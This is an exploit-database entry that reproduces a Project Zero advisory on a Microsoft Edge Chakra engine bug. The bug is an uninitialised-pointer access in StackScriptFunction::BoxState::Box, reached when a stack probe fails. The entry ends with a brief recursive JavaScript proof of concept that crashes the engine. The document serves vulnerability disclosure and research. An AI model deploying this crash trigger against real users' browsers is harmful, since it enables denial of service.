Microsoft Edge Chakra – ‘StackScriptFunction::BoxState::Box’ Accesses to Uninitialized Pointers (Denial of Service)
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1338 Here's a snippet of the method that interprets a javascript function's bytecode. Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME() { PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a) if (!this->closureInitDone) { Assert(this->m_reader.GetCurrentOffset() == 0); this->InitializeClosures(); <<------- (b) } ... ... interprets the bytecode ... At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized. But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code. void StackScriptFunction::BoxState::Box() { ... if (callerFunctionBody->DoStackScopeSlots()) { Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure(); if (stackScopeSlots) { Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount()); interpreterFrame->SetLocalClosure((Var)boxedScopeSlots); } ... ... "stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers. It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js. PoC: */ function trigger() { let a, b, c; function g() { trigger(); a, b, c; } g(); } trigger(); |
